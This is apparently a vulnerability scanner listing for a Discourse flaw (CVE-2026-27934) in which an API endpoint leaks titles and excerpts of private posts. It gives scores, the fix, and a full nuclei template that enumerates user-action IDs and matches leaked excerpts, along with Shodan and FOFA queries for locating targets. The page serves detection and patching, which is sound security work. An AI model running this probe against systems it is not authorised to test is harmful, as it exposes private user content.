Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 - Unauthenticated Private User Action Disclosure

highseverity

8.7CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 contains an information disclosure vulnerability caused by lack of visibility checks in a user action API endpoint, letting unauthorized users access post titles and excerpts, exploit requires no special privileges.

Impact

Unauthorized users can access post titles and excerpts, leading to information disclosure.

Fix

Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.

How to confirm it

Send: GET /user_actions/{{id}}.json
Positive when: status_code == 200 and contains(content_type, "json") and regex("\"action_type\":(2|6|7|9|11)([,}])", body) and contains(body, "\"excerpt\":")

Run it with nuclei: nuclei -id CVE-2026-27934 -u <target>

The full check

id: CVE-2026-27934

info:
  name: Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 - Unauthenticated Private User Action Disclosure
  author: str4k3r
  severity: high
  description: |
    Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 contains an information disclosure vulnerability caused by lack of visibility checks in a user action API endpoint, letting unauthorized users access post titles and excerpts, exploit requires no special privileges.
  impact: |
    Unauthorized users can access post titles and excerpts, leading to information disclosure.
  remediation: |
    Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-824f-66wh-xx3g
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27934
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-27934
    epss-score: 0.01218
    epss-percentile: 0.68865
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 20
    vendor: discourse
    product: discourse
    shodan-query: http.html:"Discourse"
    fofa-query: body="/assets/discourse"
  tags: cve,cve2026,discourse,idor,exposure,unauth

http:
  - raw:
      - |
        GET /user_actions/{{id}}.json HTTP/1.1
        Host: {{Hostname}}

    payloads:
      id:
        - 1
        - 2
        - 3
        - 4
        - 5
        - 6
        - 7
        - 8
        - 9
        - 10
        - 11
        - 12
        - 13
        - 14
        - 15
        - 16
        - 17
        - 18
        - 19
        - 20

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("\"action_type\":(2|6|7|9|11)([,}])", body)'
          - 'contains(body, "\"excerpt\":")'
        condition: and

    extractors:
      - type: regex
        name: action_type
        group: 1
        regex:
          - '"action_type":([0-9]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from